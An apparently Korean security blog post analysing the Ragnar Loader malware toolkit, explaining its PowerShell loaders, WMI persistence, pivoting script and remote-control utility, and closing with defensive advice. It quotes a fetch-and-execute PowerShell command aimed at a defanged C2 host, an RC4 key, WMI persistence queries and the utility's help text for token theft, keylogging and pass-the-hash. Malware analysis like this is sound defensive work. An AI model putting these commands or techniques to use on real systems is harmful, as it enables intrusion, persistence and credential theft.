1. 개요
- Ragnar Loader는 2020년에 등장한 이후 네트워크 내에서 장기적인 침투를 가능하게 하는데 중요한 역할을 수행
※ Ragnar Locker, FIN7, FIN8, Ruthless Mantis(구 REvil) 등 여러 해킹 그룹이 사용
- 주요 목표는 대상 시스템 내에서 장기적인 발판을 확보해 지속적인 악성 작업을 가능하게 하는 것
- 탐지를 회피하고 회복력을 유지하기 위한 기능들이 계속해서 강화되고 있음
2. 주요 내용 [1]
- Ragnar Locker는 공격에 활용 가능 한 툴킷을 포함하는 아카이브 파일을 제공
> Reverse Shell 파일, 로컬 권한 상승 파일, 원격 데스크톱 프로토콜(RDP) 파일과 각 파일 별 설명 파일(txt)이 포함
- 툴킷은 다음 구성요소로 구성
> 노드 초기화 스크립트 (Node Initialization Script)
> 피벗 파일 (Pivoting File)
> 원격 데스크톱 프로토콜 파일 (Remote Desktop Protocol File)
> 원격 코드 실행 스크립트 파일 (Remote Code Execution Script File)
2.1 노드 초기화 스크립트 (Node Initialization Script)
- Ragnar Loader의 C# 구현을 로드하기 위한 세 개의 스크립트와 유사한 기능을하는 PowerSehll 페이로드를 다운로드하는 명령 실행
> 스크립트 : RunScheduledTask.ps1, RunScheduledTaskOnce.ps1, RunScheduledTaskU.ps1
> 스크립트는 PowerShell을 통해 C2 서버에서 악성 페이로드를 다운로드 및 실행하여 .NET 백도어 로드
[명령]
powershell.exe -nop -ep bypass -c iex (New-Object System.Net.WebClient).DownloadString('hxxps://104-238-34-209[.]nip[.]io/4c8b09'
[옵션]
1) - nop : no profile 옵션으로, PowerShell 프로필을 로드하지 않고 실행
2) - ep bypass : PowerShell 실행 정책을 Bypass로 변경하여 정책을 무시하고 스크립트 실행
3) - c : PowerShell에서 실행할 명령
4) iex : PowerShell에서 문자열을 코드로 실행하는 명령어
5) New-Object System.Net.WebClient : WebClient 클래스를 사용해 네트워크 요청을 수행할 새 객체 생성
6) .DownloadString('https://104-238-34-209[.]nip[.]io/4c8b09') : 지정된 URL에서 데이터를 다운
- 백도어 명령
명령 | 설명 |
0x24c | 백도어를 나와 Entry Point로 복귀 |
0x274 | DLL 플러그인 로드 |
0x1d4 | 대화형 세션 닫기 |
0x1fc | 임의의 파일을 읽어 C2 채널을 통해 내용 탈취 |
0x224 | 임의의 새 파일 삭제 |
0x184 | 임의의 프로세스를 실행하기 위해 새 대화형 세션 만들기 |
0x454 | 수신된 셸코드 실행 |
0x1ac | 지정된 대화형 세션에서 프로세스 종료 |
0x29c | DLL 플러그인 언로드 |
0x404 | 백도어를 종료하고 프로세스 종료 |
0x4f4 | 셸코드 플러그인 시작 |
2.1.1 RunScheduledTask.ps1
- $ccc는 Based64가 적용되어 있으며 디코딩 시 RC4 복호화 루틴이 생성
- RC4 복호화 루틴($R)은 복호화 컨텐츠($92D11)와 RC4 Key($2cb10_args[0])을 매개변수로 호출됨
[실행 명령]
powershell.exe -nop -ep bypass -c RunSchedulerTask.ps1 491D57dF1cB63A2a90f56403be788E2C <[optional] processId to kill)>
[옵션]
1) args[0] : 491D57dF1cB63A2a90f56403be788E2C (RC4 복호화 Key)
2) args[0] : <[optional] processId to kill)>
- 두 개의 WMI 필터를 생성하여 파일 없는 지속성 확보 시도
필터 | 설명 |
필터 1 | - 부팅당 한 번 실행되는 필터 (시스템 가동 시간이 140초 이상 250초 미만일 때) - 사용 쿼리 SELECT * FROM __ InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 140 AND TargetInstance.SystemUpTime < 250 |
필터 2 | - 4초마다 실행되는 필터 - 사용 쿼리 SELECT * FROM __ InstanceModificationEvent WITHIN 4 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' |
WMI (Windows Management Instrumentation) [2]
- Windows NT 4.0 / Windows 95부터 모든 Windows 운영체제에 존재하는 기능
- 시스템 내의 자원들을 로컬/원격 환경에서 관리할 수 있는 도구의 집합으로 구성
- 윈도우즈 운영체제가 사용되는 환경에서 각 자원에 대한 접근 및 관리를 하기 위한 인프라 구조
2.1.2 RunScheduledTaskU.ps1
- 지정된 시간에 매일 한 번 실행되는 예약된 작업을 만들어 지속성 확보 시도
> 이진 파일을 %APPDATA%\Roaming 레지스트리키에 저장
2.1.3 RunScheduledTaskOnce.ps1
- 난독화된 PowerShell 스크립트로, 복호화하여 직접 실행하며 지속성 확보 없음
2.2 피벗 파일 (Pivoting File)
- 네트워크 내에서 측면 이동을 수행하기 위한 PowerShell 스크립트
> PowerShell 스크립트는 동일한 네트워크의 다른 시스템으로 감염을 전파하도록 설계됨
> 명령 프롬프트에서 아래 명령을 실행하면 [사진 4]와 같이 지정된 원격 IP와 포트로 연결이 설정됨
[실행 명령]
powershell.exe -nop -ep bypass -c RunPvt.ps1 <local port> <remote ip> <remote port>
2.3 원격 데스크톱 프로토콜 파일 (Remote Desktop Protocol File)
- 이벤트 로그에서 RDP 로그인 세션 추출 및 이벤트 ID를 기준으로 필터링한 후 CSV 파일로 저장
2.4 원격 코드 실행 스크립트 파일 (Remote Code Execution Script File)
- 리버스 셸을 획득했을 때, bc 유틸리티로 알려진 ELF 실행 파일을 사용해 Linux 환경에서도 실행될 수 있도록 설계
> 해당 모듈은 원격 접속을 가능하게 하며, 공격자가 감염된 시스템에서 직접 명령을 실행할 수 있도록 도움
> 분석된 ELF 파일은 1.2.0 버전이며, 다음과 같은 자세한 도움말 메시지를 포함
> help
Usage:
[help] - display this message
[q] - quit from console
[rc] - reload config
[stm] - get/set timeout for clients when waiting for output, arguments: <OPTIONAL>[-s]: new timeout in seconds
[lc] - list clients
[lch] - list channels for active client
[lm] - list active modules for active client
[ul] - upload file, arguments: [1] local file path [2] remote full path to save file (including file name!)
[dl] - download file, arguments: [1] remote full path to file
[lt] - list session tokens, not really used
[st] - steal token, arguments: [-i]: process id to get token from, <OPTIONAL, default=cmd>[-c] command to run with selected token
[rt] - return token
[tun] - run socks dll module, arguments: [-b]: bitness ('x64' or 'x32'), [-i] proxifier server ip or domain name for client to connect to, [-p] proxifier server port for client to connect to, [-k] key proxifier server is running with
[ft] - run ftp dll module, arguments: [-b]: bitness ('x64' or 'x32'), [-i] proxifier server ip or domain name for client to connect to, [-p] proxifier server port for client to connect to, [-k] key proxifier server is running with, [-r] ftp root folder (e.g. C:), [-a] ftp auth string (acts both like login and password)
[vnc] - run VNC dll module, arguments: [-b]: bitness ('x64' or 'x32'), [-i] proxifier server ip or domain name for client to connect to, [-p] proxifier server port for client to connect to, [-k] key proxifier server is running with, [-a] vnc auth password, [-s] process id to grab user session within which to run
[kl] - run keystroker module, arguments: [-b]: bitness ('x64' or 'x32'), [-i] command server ip/domain name for client to connect to OR filename to write to, [-p] command server port for client to connect to OR assign '0' to write to a file, [-d] duration to run in seconds, [-s] process id to grab user session within which to run
[pvt] - run transparrent TCP proxy aka pivot, arguments: [-b]: bitness ('x64' or 'x32'), [-l] port to listen to, [-i] ip to redirect to, [-p] port to redirect to
[pth] - run pass-the-hash module to spawn a process and then patch lsass.exe for it with the specified NTLM hash, can use [lm] to get spawned process id and [st] to steal the token if needed, arguments: [-b]: bitness ('x64' or 'x32'), [-u] username, [-d] domain ('.' for local), [-h] NTLM hash, [-c] command (e.g. cmd.exe)
[stp] - stop currently running dll module
[fc] - force clear file exchange channel
[dc] - close open channel and disconnect
[ex] - disconnect without closing opened channels
[perskill] - remove persistance for active client
[shkill] - shutdown this module for active client (deprecated: legacy compatibility)
[hardkill] - shutdown THE WHOLE PROCESS (including starter process until manual start or reboot) and all detected modules for active client
- bc 유틸리티는 추가 명령을 로드하기 위해 config.cfg JSON 파일을 사용
> 각 명령은 순서대로 실행되는 작업 목록으로 정의됨
> 명령은 local(현재 시스템에서 실행) 또는 remote(대상 시스템에서 실행)일 수 있음
> $1, $2 등은 이전 작업의 출력을 나타내거나 후속 명령의 인수로 사용
2. 5 결론
- Ragnar Loader는 대상 환경에 침투하고 지속성을 유지하도록 설계된 매우 정교한 멀웨어 프레임워크
> PowerShell 기반 페이로드, RC4 및 Base64 복호화 루틴, 동적 프로세스 주입, 토큰 조작 및 측면 이동 기능을 포함한 고급 난독화, 암호화 및 분석 방지 기술을 사용
> 견고한 탐지 메커니즘, 지속적인 모니터링 및 사전 예방적 사이버 보안 조치의 필요성을 강조
> PowerShell 로깅 강화, 네트워크 차단, WMI 지속성 제거, EDR 탐지 강화 등의 다층 보안 전략이 필수
3. 참고
[1] https://catalyst.prodaft.com/public/report/ragnar-loader/overview
[2] https://tech.somma.kr/WMI/
[3] https://thehackernews.com/2025/03/fin7-fin8-and-others-use-ragnar-loader.html
[4] https://www.dailysecu.com/news/articleView.html?idxno=164354
'악성코드 > 분석' 카테고리의 다른 글
정적분석 (Static Analysis) #4 (1) | 2025.03.08 |
---|---|
정적분석 (Static Analysis) #3 (1) | 2025.03.07 |
정적분석 (Static Analysis) #2 (0) | 2025.03.06 |
APAC 지역 기업 대상 FatalRat 피싱 공격 (SalmonSlalom 캠페인) (0) | 2025.02.27 |
정적분석 (Static Analysis) (1) | 2025.02.25 |